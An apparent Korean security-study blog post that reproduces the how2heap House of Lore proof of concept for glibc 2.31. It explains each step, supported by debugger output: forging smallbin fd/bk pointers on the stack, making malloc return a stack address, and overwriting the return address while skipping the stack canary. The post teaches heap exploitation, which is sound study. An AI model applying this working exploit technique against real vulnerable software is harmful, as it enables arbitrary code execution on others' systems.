Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist.
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
void* fake_freelist[7][4];
fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\n\n");
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake free-list on the stack\n");
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
fprintf(stderr, "fake free-list at %p\n", fake_freelist);
fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
"introduced by smallbin-to-tcache mechanism\n");
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing dummy chunk\n");
for(int i=0; i<7; i++) free(dummies[i]);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now take all dummies chunk in tcache out\n");
for(int i=0; i<7; i++) malloc(0x100);
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
smallbin 리스트의 bk/fd를 스택상의 fake chunk로 조작해 malloc이 스택 주소를 반환하게 만든 뒤(즉, 힙에서 스택으로 할당을 유도), 그 반환된 스택영역의 복사로 리턴 주소를 바꿔 jackpot()을 호출하게 만드는 House of Lore 계열의 익스플로잇
- 준비·선언
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
void* fake_freelist[7][4];
void *dummies[7];
- 목적: 페이로드(jackpot) 준비, 스택에 fake chunk용 버퍼·fake freelist 선언.
- victim 할당 및 더미 할당
intptr_t *victim = malloc(0x100);
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
intptr_t *victim_chunk = victim-2;
- 목적: 공격 대상인 victim chunk 확보(0x100).
- dummies는 나중에 tcache를 비우기 위해 사용.
- victim_chunk는 헤더 오프셋 보정을 위한 포인터(헤더 주소).

- 스택에 fake freelist/페이크 청크 구성
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
- 목적: tcache/fastbin 흉내내는 fake freelist 체인 생성(크래시 방지용).
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk; // fake fd -> victim_chunk (무결성 체크 우회용)
stack_buffer_1[3] = (intptr_t*)stack_buffer_2; // stack_buffer_1.bk -> stack_buffer_2
stack_buffer_2[2] = (intptr_t*)stack_buffer_1; // stack_buffer_2.fd -> stack_buffer_1
stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; // stack_buffer_2.bk -> fake_freelist
- 목적: smallbin의 fd/bk 무결성 체크를 통과시키도록 스택에 fake chunk 구성.
- stack_buffer_1[2] = victim_chunk : bck->fd == victim 체크 우회.
- stack_buffer_1[3]/stack_buffer_2[2] : smallbin 이중 연결 구조를 모사.
- stack_buffer_2[3] : smallbin→tcache 전환 시 크래시를 막기 위한 연결.
- consolidation 방지용 큰 청크 할당
void *p5 = malloc(1000);
- 목적: top chunk와의 병합(consolidation)이 일어나지 않도록 힙 레이아웃 안정화.


- p/x victim → 0x7ffe52d67bc8
→ victim 포인터 값이 스택 주소를 가리키고 있음. (정상적 heap 포인터가 아님) - x/2gx victim 결과 → 메모리 at 0x7ffe52d67bc8에 0x20102a0 / 0x2010290가 들어다.
→ 스택 주소에 저장된 값들이 heap 주소들(아마도 victim의 fd/fd 등) - p/x (victim-2) → 0x7ffe52d67bc6이고 x/2gx (victim-2)에서도 같은 heap 주소들이 보임(출력 형식만 길게 보이는 것)
결론: victim 변수(또는 그 메모리)가 이미 스택상의 fake chunk 주소를 가리키고 있고, 그 스택 영역에는 heap 관련 포인터(0x20102a0 등)가 들어있다. 즉 오버라이트가 이미 발생했거나, fake chunk가 이미 스택에 세팅되어 있다.
- 더미들 해제 및 victim 해제 (unsorted bin 상태)
for(int i=0; i<7; i++) free(dummies[i]);
free((void*)victim);
- 목적: dummies는 tcache에 쌓임. victim은 unsorted bin에 들어감.
- 이후 unsorted bin 처리로 victim이 smallbin으로 정렬될 예정.

위 사진은 for 만 실행한 결과이다. tcache가 가득 찼다.
그리고 다음을 실행하면

| tcache | 꽉 참 → 더 이상 같은 크기 free는 tcache에 안 들어감 |
| unsorted bins[0]: 0x2010290 | victim이 unsorted bin에 있음 |
| heap chunks에서 0x2010290 | free 상태 (unsorted bin 멤버) |
- unsorted bin에서 smallbin으로 이동을 유도
void *p2 = malloc(1200);
- 목적: 큰 요청(1200)으로 unsorted bin에서 처리할 수 없는 상황을 만들어 victim을 smallbin으로 정렬하게 함.
- 이 시점에 victim->fwd와 victim->bk가 smallbin용 값으로 업데이트됨.

- unsorted bins는 비고, smallbins[5](0x110 크기)에 victim이 들어가 있음.
- x/2gx victim 보면 fd/bk 값이 smallbin용 링크로 바뀜.
- fd: smallbin fd 포인터
- bk: smallbin bk 포인터
- 취약점(오버라이트) 시뮬레이션: victim->bk를 스택으로 덮어쓰기
victim[1] = (intptr_t)stack_buffer_1;
- 목적: 공격자가 버그로 victim->bk를 스택상의 fake chunk로 덮어쓴다고 가정(핵심 오버라이트).
- tcache 비우기 (더미들을 malloc으로 꺼냄)
for(int i=0; i<7; i++) malloc(0x100);
- 목적: tcache 슬롯들을 비워서 다음 malloc이 smallbin에서 청크를 가져오도록 강제.

- smallbin에서 청크 재할당 — 첫 malloc
void *p3 = malloc(0x100);
- 동작: 첫 번째 malloc은 덮어쓴 victim chunk를 반환.
- 이 동작에서 bin->bk가 victim->bk(=스택주소)로 설정된다.
- smallbin에서 청크 재할당 — 두 번째 malloc(스택을 반환)
char *p4 = malloc(0x100);
- 동작: 두 번째 malloc이 bin->bk(스택상의 fake chunk)를 따라가서 스택 주소를 반환한다.
- 결과: p4는 스택상의 영역(스택 버퍼)에 대한 포인터가 됨(힙 allocator가 스택을 '할당'한 상태).
- 스택에 할당된 영역에 페이로드(리턴주소) 덮어쓰기
intptr_t sc = (intptr_t)jackpot;
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8);
- 목적: p4가 가리키는 스택영역을 통해 현재 스택 프레임의 리턴주소(또는 가까운 위치)에 jackpot 주소를 덮어씀.
- offset+8은 스택 레이아웃(프레임 주소 기준 오프셋)에 맞춰 리턴주소 위치를 찾아 덮어쓰려는 시도.
- 성공 확인 (assert)
assert((long)__builtin_return_address(0) == (long)jackpot);
- 목적: 리턴주소가 jackpot으로 변경되었는지 확인. 성공하면 main이 리턴될 때 jackpot() 호출됨.

'pwanble' 카테고리의 다른 글
| [How2Heap] - mmap_overlapping_chunks.c (0) | 2025.11.04 |
|---|---|
| [How2Heap] - overlapping_chunks.c (0) | 2025.11.03 |
| [How2Heap] - house_of_spirit.c (0) | 2025.10.28 |
| [Fuzzing101] Exercise 2 (0) | 2025.09.20 |
| [Fuzzing101] - Exercise 1 (0) | 2025.09.19 |